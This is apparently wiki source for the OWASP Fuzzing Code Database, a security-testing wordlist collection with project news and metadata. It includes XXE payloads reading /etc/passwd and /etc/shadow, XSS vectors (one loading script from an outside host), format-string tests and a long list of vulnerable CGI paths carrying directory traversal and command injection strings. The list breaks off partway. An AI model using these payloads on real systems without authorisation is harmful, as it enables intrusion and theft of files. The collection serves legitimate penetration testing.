&quot;&quot;file:////etc/passwd&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/shadow&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////dev/random&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;xml SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &lt;/pre&gt; <br /> === Format String Statements - (Update: 30 July 2007 - Total Statements: 28) ===<br /> &lt;pre&gt;<br /> # Full List<br /> # Format String tests to determine errors in variable handling<br /> # Foobar@email.de<br /> <br /> %s%p%x%d<br /> .1024d<br /> %.2049d<br /> %p%p%p%p<br /> %x%x%x%x<br /> %d%d%d%d<br /> %s%s%s%s<br /> %99999999999s<br /> %08x<br /> %%20d<br /> %%20n<br /> %%20x<br /> %%20s<br /> %s%s%s%s%s%s%s%s%s%s<br /> %p%p%p%p%p%p%p%p%p%p<br /> %#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%<br /> f(x)=%s x 123<br /> f(x)=%x x 255<br /> %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x<br /> %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s<br /> XXXXX.%p<br /> XXXXX`perl -e 'print &quot;.%p&quot; x 80'`<br /> `perl -e 'print &quot;.%p&quot; x 80'`%n<br /> %08x.%08x.%08x.%08x.%08x\n<br /> XXX0_%08x.%08x.%08x.%08x.%08x\n<br /> %.16705u%2\$hn<br /> \x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|<br /> ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;id &amp;gt; /tmp/file; exit;<br /> &lt;/pre&gt; <br /> ==== Project Contributor ====<br /> <br /> Project Leader: [[:User:Wagner.elias|'''Wagner Elias''']] <br /> <br /> Reviewer: [[:User:eneves|'''Eduardo Neves''']] <br /> <br /> Contributor: [[:User:ulisses.castro|'''Ulisses Castro''']] [[:User:Adam.muntner|'''Adam Muntner''']] <br /> <br /> ==== Feedback and Participation ====<br /> <br /> We hope you find the Fuzzing Code Database useful. Please contribute to the Project by volunteering for one of the tasks, sending your comments, questions, and suggestions to wagner.elias |at| owasp.org <br /> <br /> ==== Project Identification ====<br /> <br /> {{Template:OWASP Project Identification Tab<br /> | project_name = OWASP Fuzzing Code Database<br /> | project_description = <br /> | leader_name = Wagner Elias<br /> | leader_email = <br /> | leader_username = Wagner.elias<br /> | maintainer_name = <br /> | maintainer_email = <br /> | maintainer_username = <br /> | contributor_name1 = <br /> | contributor_email1 = <br /> | contributor_username1 = <br /> | contributor_name2 = <br /> | contributor_email2 = <br /> | contributor_username2 = <br /> | contributor_name3 = <br /> | contributor_email3 = <br /> | contributor_username3 = <br /> | contributor_name4 = <br /> | contributor_email4 = <br /> | contributor_username4 = <br /> | contributor_name5 = <br /> | contributor_email5 = <br /> | contributor_username5 = <br /> | contributor_name6 = <br /> | contributor_email6 = <br /> | contributor_username6 = <br /> | contributor_name7 = <br /> | contributor_email7 = <br /> | contributor_username7 = <br /> | contributor_name8 = <br /> | contributor_email8 = <br /> | contributor_username8 = <br /> | contributor_name9 = <br /> | contributor_email9 = <br /> | contributor_username9 = <br /> | contributor_name10 = <br /> | contributor_email10 = <br /> | contributor_username10 = <br /> | pamphlet_link = <br /> | mailing_list_name = owasp-fuzzing-code-database<br /> | links_url1 = <br /> | links_name1 = <br /> | links_url2 = <br /> | links_name2 = <br /> | links_url3 = <br /> | links_name3 = <br /> | links_url4 = <br /> | links_name4 = <br /> | links_url5 = <br /> | links_name5 = <br /> | links_url6 = <br /> | links_name6 = <br /> | links_url7 = <br /> | links_name7 = <br /> | links_url8 = <br /> | links_name8 = <br /> | links_url9 = <br /> | links_name9 = <br /> | links_url10 = <br /> | links_name10 = <br /> | project_road_map =<br /> | project_health_status = <br /> | current_release_name = <br /> | current_release_date = <br /> | current_release_download_link = <br /> | current_release_rating = <br /> | current_release_leader_name = <br /> | current_release_leader_email = <br /> | current_release_leader_username = <br /> | last_reviewed_release_name = <br /> | last_reviewed_release_date = <br /> | last_reviewed_release_download_link = <br /> | last_reviewed_release_rating = <br /> | last_reviewed_release_leader_name = <br /> | last_reviewed_release_leader_email = <br /> | last_reviewed_release_leader_username = <br /> | old_release_name1 = <br /> | old_release_date1 = <br /> | old_release_download_link1 = <br /> | old_release_name2 = <br /> | old_release_date2 = <br /> | old_release_download_link2 = <br /> | old_release_name3 = <br /> | old_release_date3 = <br /> | old_release_download_link3 = <br /> | old_release_name4 = <br /> | old_release_date4 = <br /> | old_release_download_link4 = <br /> | old_release_name5 = <br /> | old_release_date5 = <br /> | old_release_download_link5 = <br /> }} __NOTOC__ &lt;headertabs /&gt; <br /> <br /> [[Category:OWASP_Project|Fuzzing Code Database]] [[Category:OWASP_Document]] [[Category:OWASP_Alpha_Quality_Document]]</div>

Adam.muntner https://wiki.owasp.org/index.php?title=Category:OWASP_Fuzzing_Code_Database&diff=81138 2010-04-08T18:34:27Z

<p>Adam.muntner: /* Microsoft IIS vulnerabilities and enumeration (6 April 2010) */</p> <hr /> <div>This database is a collection of several statements used in code injection, fuzzing and brute-force aproach. All too often security professionals rely on their own repositories of statements collected from assessments they've conducted. These repositories are prone to being incomplete or outdated. We want to collect all these statements, merging the statements from several projects like [[WebScarab]], [[WebSlayer]] and [[JBroFuzz]] with member contributions to build a comprehensive dataset of effective statements to provide better testing results. Please add your own statements and check out the statements already added. <br /> <br /> ==== News ====<br /> <br /> '''17 March 2010'''<br /> <br /> *Created new Category: Vulnerable Cross-Platform CGI (17 March 2010 - Total Statements: 563)<br /> *Created new Category: Windows Directory Traversal (Update: 17 March 2010 - Total Statements: 16)<br /> *Created new Category: Generic 8 Directory Deep Traversal Fuzz (17 March 2010 - Total Statements: 879)<br /> *Created new Category: Common Windows CGI (Update: 17 March 2010 - Total Statements: 76)<br /> *Created new Category: File Upload Filter Bypass (Update: 17 March 2010 - Total Statements: 4)<br /> *Created new Category: Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 2)<br /> *Created new Category: Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 7)<br /> *Created new Category: Microsoft-Specific Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 14)<br /> *Created new Category: Commonly Writable directories File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 9)<br /> <br /> '''16 March 2010'''<br /> <br /> *Created new Category: Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863)<br /> *Created new Category: Uncommon Data File Extensions (Update: 16 March 2010 - Total Statements: 284) <br /> *Created new Category: Cold Fusion Default Files - (Update: 16 March 2010 - Total Statements: 65)<br /> *Created new Category: All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2010 - Total Statements: 31)<br /> <br /> <br /> '''02 February 2010'''<br /> <br /> *Created new Category Lotus/Notes Files<br /> <br /> '''11 August 2009''' <br /> <br /> *Created new Category: XML Attacks<br /> <br /> ''Update Statements'' <br /> <br /> *15 new XML Statements <br /> *93 new SQL Injections Statements <br /> *67 new Traversal Directory Statements <br /> *Delete 33 XSS Statement Duplicate <br /> *30 New XSS Statements<br /> <br /> '''7 August 2009''' <br /> <br /> *Updated the objectives of the project.<br /> <br /> '''21 July 2009''' <br /> <br /> *Set the team responsible for the project.<br /> <br /> ==== Goals ====<br /> <br /> This project intend to create a database that concentrate all tools which are based on wordlists such as Webscarab, JBroFuzz, Web Slayer , Dirbuster. and others. In addition to current tools developed by OWASP members we will create a database following a style similar to Open Vulnerability and Assessment Language (OVAL) where any tool can adopt and use a XML file maintained by OWASP. <br /> <br /> In addition, the following functionalities will be included on this project: <br /> <br /> 1 - The statements of ASDR Project 2 - Browser 3 - Operational System 4 - Databases <br /> <br /> An URL will also be published to create an collaborative environment for the maintenance process where the following features are planned: <br /> <br /> 1 - Deploy a process where a new statement can be suggested and registered if is not valid yet and not maintained in other database. <br /> <br /> 2 - A list where besides the statement, a single id will be maintained to identify each statement with a description and the results of the exploitation. <br /> <br /> 3 - Possibility to support users on the report of their own experiences with the statements. <br /> <br /> ==== Statements ====<br /> <br /> === Microsoft URLs (18 March 2010) ===<br /> &lt;pre&gt;# Interesting IIS Files &amp; Directories (17 March, 2009)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> # Look at the result codes in the headers - 403 likely mean the dir exists, 404 means not. It takes an ISAPI filter for IIS to return 404's for 403s. <br /> # Altetrnatively, slight differences in the number of bytes returned will help differentiate.<br /> <br /> .printer<br /> /%NETHOOD%/<br /> /&lt;script&gt;alert('XSS')&lt;/script&gt;.aspx<br /> /Exadmin/<br /> /ExchWeb/<br /> /Exchange/<br /> /Microsoft-Server-ActiveSync/<br /> /OMA/<br /> /OWA/<br /> /Public/<br /> /_layouts/alllibs.htm<br /> /_layouts/settings.htm<br /> /_layouts/userinfo.htm<br /> /_vti_bin/<br /> /_vti_bin/_vti_aut/fp30reg.dll<br /> /_vti_pvt/<br /> /_WEB_INF/<br /> /a%5c.aspx<br /> /adovbs.inc<br /> /aspnet_files/<br /> /certcontrol/<br /> /certenroll/<br /> /certsrv/<br /> /exchange/root.asp<br /> /forum.asp<br /> /forum_arc.asp<br /> /forum_professionnel.asp<br /> /iisadmin/<br /> /iishelp/<br /> /iishelp/iis/misc/default.asp<br /> /iissamples/<br /> /imprimer.asp<br /> /includes/adovbs.inc<br /> /msadc/<br /> /null.htw<br /> /pbserver/pbserver.dll<br /> /postinfo.html<br /> /rubrique.asp<br /> /scripts/<br /> /share/<br /> /tsweb/<br /> /~/&lt;script&gt;alert('XSS')&lt;/script&gt;.asp<br /> /~/&lt;script&gt;alert('XSS')&lt;/script&gt;.aspx<br /> index.shtml<br /> x.htw<br /> x.ida<br /> x.idq<br /> /citrix/<br /> /citrix/AccessPlatform/auth/<br /> /citrix/AccessPlatform/auth/clientscripts/<br /> /AccessPlatform/auth/clientscripts/<br /> /AccessPlatform/<br /> /AccessPlatform/auth/<br /> /AccessPlatform/auth/clientscripts/cookies.js <br /> /AccessPlatform/auth/clientscripts/login.js <br /> /Citrix//AccessPlatform/auth/clientscripts/cookies.js <br /> /Citrix/AccessPlatform/auth/clientscripts/login.js <br /> /Citrix/PNAgent/config.xml<br /> &lt;/pre&gt;<br /> <br /> === Vulnerable Cross-Platform CGI (17 March 2010 - Total Statements: 563) ===<br /> &lt;pre&gt;# Vulnerable Cross-Platform CGI (17 March 2010) <br /> # fuzz inside cgi directories<br /> # on windows, this is usually /scripts or /bin or /cgi-bin, on unix, usually /cgi-bin, /nph-cgi<br /> # adam.muntner@quietmove.com<br /> <br /> %2e%2e/abyss.conf<br /> .access<br /> .cobalt<br /> .cobalt/alert/service.cgi?service=&lt;img%20src=javascript:alert('XSS')&gt;<br /> .cobalt/alert/service.cgi?service=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> .fhp<br /> .htaccess<br /> .htaccess.old<br /> .htaccess.save<br /> .htaccess~<br /> .htpasswd<br /> .nsconfig<br /> .passwd<br /> .www_acl<br /> .wwwacl<br /> /_vti_pvt/doctodep.btr<br /> 14all-1.1.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> 14all.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> AT-admin.cgi<br /> AT-generate.cgi<br /> Album?mode=album&amp;album=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc&amp;dispsize=640&amp;start=0<br /> AnyBoard.cgi<br /> AnyForm<br /> AnyForm2<br /> Backup/add-passwd.cgi<br /> C<br /> Count.cgi<br /> DC<br /> DCFORM<br /> File<br /> FormHandler.cgi?realname=aaa&amp;email=aaa&amp;reply_message_template=%2Fetc%2Fpasswd&amp;reply_message_from=sq%40example.com&amp;redirect=http%3A%2F%2Fwww.example.com&amp;recipient=sq%40example.com<br /> FormMail.cgi?&lt;script&gt;alert(\<br /> FormMail.pl<br /> ImageFolio/admin/admin.cgi<br /> LWGate<br /> LWGate.cgi<br /> Upload.pl<br /> Vs<br /> W<br /> YaBB.pl?board=news&amp;action=display&amp;num=../../../../../../../../../..{KNOWNFILE}%00<br /> YaBB/YaBB.cgi?board=BOARD&amp;action=display&amp;num=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp4.cgi?../../../../../../..{KNOWNFILE}<br /> add_ftp.cgi<br /> addbanner.cgi<br /> adduser.cgi<br /> admin.cgi<br /> admin.cgi?list=../../../../../../../../../..{KNOWNFILE}<br /> admin.php<br /> admin.php3<br /> admin.pl<br /> adminhot.cgi<br /> adminwww.cgi<br /> af.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> aglimpse<br /> aglimpse.cgi<br /> alibaba.pl|dir%20..\\..\\..\\..\\..\\..\\..\\,<br /> alienform.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> amadmin.pl<br /> anacondaclip.pl?template=../../../../../../../../../..{KNOWNFILE}<br /> ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> ans/ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> anyboard.cgi<br /> archie<br /> architext_query.cgi<br /> architext_query.pl<br /> ash<br /> astrocam.cgi<br /> atk/javascript/class.atkdateattribute.js.php?config_atkroot=@RFIURL<br /> auction/auction.cgi?action=<br /> auctiondeluxe/auction.pl<br /> auktion.cgi?menue=../../../../../../../../../..{KNOWNFILE}<br /> auth_data/auth_user_file.txt<br /> awl/auctionweaver.pl<br /> awstats.pl<br /> awstats/awstats.pl<br /> ax-admin.cgi<br /> ax.cgi<br /> axs.cgi<br /> badmin.cgi<br /> banner.cgi<br /> bannereditor.cgi<br /> bash<br /> bb-hist?HI<br /> bb_smilies.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbcode_ref.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbs_forum.cgi<br /> betsie/parserl.pl/&lt;script&gt;alert('XSS')&lt;/script&gt;;<br /> bigconf.cgi?command=view_textfile&amp;file={KNOWNFILE}&amp;filters=<br /> bizdb1-search.cgi<br /> blog/<br /> blog/mt-check.cgi<br /> blog/mt-load.cgi<br /> blog/mt.cfg<br /> bnbform<br /> bnbform.cgi<br /> book.cgi?action=default&amp;current=|cat%20{KNOWNFILE}|&amp;form_tid=996604045&amp;prev=main.html&amp;list_message_index=10<br /> boozt/admin/index.cgi?section=5&amp;input=1<br /> bsguest.cgi?email=x;ls<br /> bslist.cgi?email=x;ls<br /> build.cgi<br /> bulk/bulk.cgi<br /> c_download.cgi<br /> cached_feed.cgi<br /> cachemgr.cgi<br /> cal_make.pl?p0=../../../../../../../../../..{KNOWNFILE}%00<br /> calendar<br /> calendar.php?calbirthdays=1&amp;action=getday&amp;day=2001-8-15&amp;comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22<br /> calendar.pl<br /> calendar/calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calendar/index.cgi<br /> calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calender_admin.pl<br /> campas?%0acat%0a{KNOWNFILE}%0a<br /> cart.pl<br /> cart.pl?db='<br /> cartmanager.cgi<br /> cbmc/forums.cgi<br /> ccbill-local.cgi?cmd=MENU<br /> ccbill-local.pl?cmd=MENU<br /> cgforum.cgi<br /> cgi-lib.pl<br /> cgicso?query=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cgicso?query=AAA<br /> cgiforum.pl?thesection=../../../../../../../../../..{KNOWNFILE}%00<br /> cgiwrap<br /> cgiwrap/%3Cfont%20color=red%3E<br /> cgiwrap/~@U<br /> cgiwrap/~JUNK(5)<br /> cgiwrap/~root<br /> change-your-password.pl<br /> classified.cgi<br /> classifieds<br /> classifieds.cgi<br /> classifieds/classifieds.cgi<br /> classifieds/index.cgi<br /> clickcount.pl?view=test<br /> clickresponder.pl<br /> code.php<br /> code.php3<br /> com5..........................................................................................................................................................................................................................box<br /> com5.java<br /> com5.pl<br /> commandit.cgi<br /> commerce.cgi?page=../../../../../../../../../..{KNOWNFILE}%00index.html<br /> common.php?f=0&amp;ForumLang=../../../../../../../../../..{KNOWNFILE}<br /> common/listrec.pl<br /> common/listrec.pl?APP=qmh-news&amp;TEMPLATE=;ls%20/etc|<br /> compatible.cgi<br /> count.cgi<br /> counter-ord<br /> counterbanner<br /> counterbanner-ord<br /> counterfiglet-ord<br /> counterfiglet/nc/<br /> cs<br /> csChatRBox.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csGuestBook.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csLive<br /> csNews.cgi<br /> csNewsPro.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csPassword.cgi<br /> csPassword/csPassword.cgi<br /> csh<br /> cstat.pl<br /> cutecast/members/<br /> cvsblame.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=*&amp;rev=&amp;root=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvsquery.cgi?branch=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;date=&lt;script&gt;alert(document.domain)&lt;/script&gt;<br /> cvsquery.cgi?module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=&amp;dir=&amp;file=&amp;who=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;sortby=Date&amp;hours=2&amp;date=week<br /> cvsqueryform.cgi?cvsroot=/cvsroot&amp;module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=HEAD<br /> dansguardian.pl?DENIEDURL=&lt;/a&gt;&lt;script&gt;alert('XSS');&lt;/script&gt;<br /> dasp/fm_shell.asp<br /> data/fetch.php?page=<br /> date<br /> day5datacopier.cgi<br /> day5datanotifier.cgi<br /> db2www/library/document.d2w/show<br /> db4web_c/dbdirname/{KNOWNFILE}<br /> db_manager.cgi<br /> dbman/db.cgi?db=no-db<br /> dcforum.cgi?az=list&amp;forum=../../../../../../../../../..{KNOWNFILE}%00<br /> dcshop/auth_data/auth_user_file.txt<br /> dcshop/orders/orders.txt<br /> dfire.cgi<br /> diagnose.cgi<br /> dig.cgi<br /> directorypro.cgi?want=showcat&amp;show=../../../../../../../../../..{KNOWNFILE}%00<br /> displayTC.pl<br /> dnewsweb<br /> donothing<br /> dose.pl?daily&amp;somefile.txt&amp;|ls|<br /> download.cgi<br /> dumpenv.pl<br /> edit.pl<br /> empower?DB=whateverwhatever<br /> emu/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> enter.cgi<br /> environ.cgi<br /> environ.pl<br /> environ.pl?param1=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> erba/start/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> eshop.pl/seite=;cat%20eshop.pl|<br /> ex-logger.pl<br /> excite<br /> excite;IF<br /> ezadmin.cgi<br /> ezboard.cgi<br /> ezman.cgi<br /> ezshopper/loadpage.cgi?user_id=1&amp;file=|cat%20{KNOWNFILE}|<br /> ezshopper/search.cgi?user_id=id&amp;database=dbase1.exm&amp;template=../../../../../../..{KNOWNFILE}&amp;distinct=1<br /> ezshopper2/loadpage.cgi<br /> ezshopper3/loadpage.cgi<br /> faqmanager.cgi?toc={KNOWNFILE}%00<br /> faxsurvey?cat%20{KNOWNFILE}<br /> filemail<br /> filemail.pl<br /> finger<br /> finger.pl<br /> flexform<br /> flexform.cgi<br /> fom.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> fom/fom.cgi?cmd=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=1&amp;keywords=vulnerable<br /> formmail<br /> formmail.cgi<br /> formmail.cgi?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail.pl<br /> formmail.pl?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> fortune<br /> ftp.pl<br /> ftpsh<br /> gH.cgi<br /> gbadmin.cgi?action=change_adminpass<br /> gbadmin.cgi?action=change_automail<br /> gbadmin.cgi?action=colors<br /> gbadmin.cgi?action=setup<br /> gbook/gbook.cgi?_MAILTO=xx;ls<br /> gbpass.pl<br /> generate.cgi?content=../../../../../../../../../../windows/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../../winnt/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../..{KNOWNFILE}%00board=board_1<br /> getdoc.cgi<br /> gettransbitmap<br /> glimpse<br /> gm-authors.cgi<br /> gm-cplog.cgi<br /> gm.cgi<br /> guestbook.cgi<br /> guestbook.cgi?user=cpanel&amp;template=|/bin/cat%20{KNOWNFILE}|<br /> guestbook.pl<br /> guestbook/passwd<br /> handler.cgi<br /> hitview.cgi<br /> horde/test.php<br /> horde/test.php?mode=phpinfo<br /> hsx.cgi?show=../../../../../../../../../../..{KNOWNFILE}%00<br /> htgrep?file=index.html&amp;hdr={KNOWNFILE}<br /> html2chtml.cgi<br /> html2wml.cgi<br /> htmlscript?../../../../../../../../../..{KNOWNFILE}<br /> htsearch.cgi?words=%22%3E%3Cscript%3Ealert%'XSS'%29%3B%3C%2Fscript%3E<br /> htsearch?-c/nonexistant<br /> htsearch?config=foofighter&amp;restrict=&amp;exclude=&amp;method=and&amp;format=builtin-long&amp;sort=score&amp;words=<br /> htsearch?exclude=%60{KNOWNFILE}%60<br /> ibill.pm<br /> icat<br /> if/admin/nph-build.cgi<br /> ikonboard/help.cgi?<br /> imageFolio.cgi<br /> imagefolio/admin/admin.cgi<br /> imagemap<br /> include/new-visitor.inc.php<br /> index.js0x70<br /> index.pl<br /> info2www<br /> info2www '(../../../../../../../bin/mail root &lt;{KNOWNFILE}&gt;<br /> infosrch.cgi<br /> ion-p?page=../../../../..{KNOWNFILE}<br /> jailshell<br /> jj<br /> journal.cgi?folder=journal.cgi%00<br /> ksh<br /> lastlines.cgi?process<br /> listrec.pl<br /> loadpage.cgi?user_id=1&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> loadpage.cgi?user_id=1&amp;file=..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> log-reader.cgi<br /> log/<br /> log/nether-log.pl?checkit<br /> login.cgi<br /> login.pl<br /> login.pl?course_id=\<br /> logit.cgi<br /> logs.pl<br /> logs/<br /> logs/access_log<br /> logs/error_log<br /> lookwho.cgi<br /> ls<br /> lwgate<br /> lwgate.cgi<br /> magiccard.cgi?pa=3Dpreview&amp;amp;next=3Dcustom&amp;amp;page=3D../../../../../../../../../..{KNOWNFILE}<br /> mail<br /> mail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> mail/nph-mr.cgi?do=loginhelp&amp;configLanguage=../../../../../../..{KNOWNFILE}%00<br /> mailit.pl<br /> maillist.cgi<br /> maillist.pl<br /> mailnews.cgi<br /> main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=../../../../../../../../../..{KNOWNFILE}<br /> majordomo.pl<br /> man2html<br /> mastergate/search.cgi?search=0&amp;search_on=all<br /> meta.pl<br /> mgrqcgi<br /> mini_logger.cgi<br /> mmstdod.cgi<br /> moin.cgi?test<br /> mojo/mojo.cgi<br /> mrtg.cfg?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=blah<br /> ms_proxy_auth_query/<br /> mt-static/<br /> mt-static/mt-check.cgi<br /> mt-static/mt-load.cgi<br /> mt-static/mt.cfg<br /> mt/<br /> mt/mt-check.cgi<br /> mt/mt-load.cgi<br /> mt/mt.cfg<br /> multihtml.pl?multi={KNOWNFILE}%00html<br /> musicqueue.cgi<br /> myguestbook.cgi?action=view<br /> namazu.cgi<br /> nbmember.cgi?cmd=list_all_users<br /> netauth.cgi?cmd=show&amp;page=../../../../../../../../../..{KNOWNFILE}<br /> netpad.cgi<br /> newsdesk.cgi?t=../../../../../../../../../..{KNOWNFILE}<br /> nimages.php<br /> nlog-smb.cgi<br /> nlog-smb.pl<br /> non-existent.pl<br /> noshell<br /> nph-emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> nph-error.pl<br /> nph-exploitscanget.cgi<br /> nph-maillist.pl<br /> nph-publish<br /> nph-publish.cgi<br /> nph-showlogs.pl?files=../../&amp;filter=.*&amp;submit=Go&amp;linecnt=500&amp;refresh=0<br /> nph-test-cgi<br /> ntitar.pl<br /> opendir.php?{KNOWNFILE}<br /> orders/orders.txt<br /> pagelog.cgi<br /> pals-cgi?palsAction=restart&amp;documentName={KNOWNFILE}<br /> parse-file<br /> pass<br /> passwd<br /> passwd.txt<br /> password<br /> pbcgi.cgi?name=Joe%Camel&amp;email=%3C<br /> perl<br /> perl?-v<br /> perlshop.cgi<br /> pfdispaly.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> pfdispaly.cgi?../../../../../../../../../..{KNOWNFILE}<br /> pfdisplay.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> phf<br /> phf.cgi?QALIA<br /> phf?Qname=root%0Acat%20{KNOWNFILE}%20<br /> photo/<br /> photo/manage.cgi<br /> photo/protected/manage.cgi<br /> php-cgi<br /> php.cgi?{KNOWNFILE}<br /> plusmail<br /> pollit/Poll_It_<br /> pollssi.cgi<br /> post-query<br /> post_query<br /> postcards.cgi<br /> powerup/r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> printenv<br /> printenv.tmp<br /> probecontrol.cgi?command=enable&amp;username=cancer&amp;password=killer<br /> processit.pl<br /> profile.cgi<br /> pu3.pl<br /> publisher/search.cgi?dir=jobs&amp;template=;cat%20{KNOWNFILE}|&amp;output_number=10<br /> query<br /> query?mss=%2e%2e/config<br /> quickstore.cgi?page=../../../../../../../../../..{KNOWNFILE}%00html&amp;cart_id=<br /> quikstore.cfg<br /> 